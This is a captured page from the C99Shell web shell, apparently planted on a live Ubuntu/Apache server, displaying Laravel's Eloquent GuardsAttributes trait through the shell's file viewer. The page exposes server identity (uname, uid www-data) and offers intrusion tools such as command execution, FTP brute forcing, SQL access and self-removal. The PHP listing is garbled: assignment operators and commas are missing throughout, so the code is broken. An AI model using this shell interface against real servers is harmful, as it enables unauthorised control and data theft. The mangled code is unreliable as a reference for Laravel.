!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/queuepro/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Concerns/   drwxrwxr-x
Free 13.18 GB of 57.97 GB (22.74%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     GuardsAttributes.php (5.75 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Database\Eloquent\Concerns;

trait 
GuardsAttributes
{
    
/**
     * The attributes that are mass assignable.
     *
     * @var string[]
     */
    
protected $fillable = [];

    
/**
     * The attributes that aren't mass assignable.
     *
     * @var string[]|bool
     */
    
protected $guarded = ['*'];

    
/**
     * Indicates if all mass assignment is enabled.
     *
     * @var bool
     */
    
protected static $unguarded false;

    
/**
     * The actual columns that exist on the database and can be guarded.
     *
     * @var array
     */
    
protected static $guardableColumns = [];

    
/**
     * Get the fillable attributes for the model.
     *
     * @return array
     */
    
public function getFillable()
    {
        return 
$this->fillable;
    }

    
/**
     * Set the fillable attributes for the model.
     *
     * @param  array  $fillable
     * @return $this
     */
    
public function fillable(array $fillable)
    {
        
$this->fillable $fillable;

        return 
$this;
    }

    
/**
     * Merge new fillable attributes with existing fillable attributes on the model.
     *
     * @param  array  $fillable
     * @return $this
     */
    
public function mergeFillable(array $fillable)
    {
        
$this->fillable array_merge($this->fillable$fillable);

        return 
$this;
    }

    
/**
     * Get the guarded attributes for the model.
     *
     * @return array
     */
    
public function getGuarded()
    {
        return 
$this->guarded === false
                    
? []
                    : 
$this->guarded;
    }

    
/**
     * Set the guarded attributes for the model.
     *
     * @param  array  $guarded
     * @return $this
     */
    
public function guard(array $guarded)
    {
        
$this->guarded $guarded;

        return 
$this;
    }

    
/**
     * Merge new guarded attributes with existing guarded attributes on the model.
     *
     * @param  array  $guarded
     * @return $this
     */
    
public function mergeGuarded(array $guarded)
    {
        
$this->guarded array_merge($this->guarded$guarded);

        return 
$this;
    }

    
/**
     * Disable all mass assignable restrictions.
     *
     * @param  bool  $state
     * @return void
     */
    
public static function unguard($state true)
    {
        static::
$unguarded $state;
    }

    
/**
     * Enable the mass assignment restrictions.
     *
     * @return void
     */
    
public static function reguard()
    {
        static::
$unguarded false;
    }

    
/**
     * Determine if the current state is "unguarded".
     *
     * @return bool
     */
    
public static function isUnguarded()
    {
        return static::
$unguarded;
    }

    
/**
     * Run the given callable while being unguarded.
     *
     * @param  callable  $callback
     * @return mixed
     */
    
public static function unguarded(callable $callback)
    {
        if (static::
$unguarded) {
            return 
$callback();
        }

        static::
unguard();

        try {
            return 
$callback();
        } finally {
            static::
reguard();
        }
    }

    
/**
     * Determine if the given attribute may be mass assigned.
     *
     * @param  string  $key
     * @return bool
     */
    
public function isFillable($key)
    {
        if (static::
$unguarded) {
            return 
true;
        }

        
// If the key is in the "fillable" array, we can of course assume that it's
        // a fillable attribute. Otherwise, we will check the guarded array when
        // we need to determine if the attribute is black-listed on the model.
        
if (in_array($key$this->getFillable())) {
            return 
true;
        }

        
// If the attribute is explicitly listed in the "guarded" array then we can
        // return false immediately. This means this attribute is definitely not
        // fillable and there is no point in going any further in this method.
        
if ($this->isGuarded($key)) {
            return 
false;
        }

        return empty(
$this->getFillable()) &&
            ! 
str_contains($key'.') &&
            ! 
str_starts_with($key'_');
    }

    
/**
     * Determine if the given key is guarded.
     *
     * @param  string  $key
     * @return bool
     */
    
public function isGuarded($key)
    {
        if (empty(
$this->getGuarded())) {
            return 
false;
        }

        return 
$this->getGuarded() == ['*'] ||
               ! empty(
preg_grep('/^'.preg_quote($key).'$/i'$this->getGuarded())) ||
               ! 
$this->isGuardableColumn($key);
    }

    
/**
     * Determine if the given column is a valid, guardable column.
     *
     * @param  string  $key
     * @return bool
     */
    
protected function isGuardableColumn($key)
    {
        if (! isset(static::
$guardableColumns[get_class($this)])) {
            
$columns $this->getConnection()
                        ->
getSchemaBuilder()
                        ->
getColumnListing($this->getTable());

            if (empty(
$columns)) {
                return 
true;
            }
            static::
$guardableColumns[get_class($this)] = $columns;
        }

        return 
in_array($key, static::$guardableColumns[get_class($this)]);
    }

    
/**
     * Determine if the model is totally guarded.
     *
     * @return bool
     */
    
public function totallyGuarded()
    {
        return 
count($this->getFillable()) === && $this->getGuarded() == ['*'];
    }

    
/**
     * Get the fillable attributes of a given array.
     *
     * @param  array  $attributes
     * @return array
     */
    
protected function fillableFromArray(array $attributes)
    {
        if (
count($this->getFillable()) > && ! static::$unguarded) {
            return 
array_intersect_key($attributesarray_flip($this->getFillable()));
        }

        return 
$attributes;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0076 ]--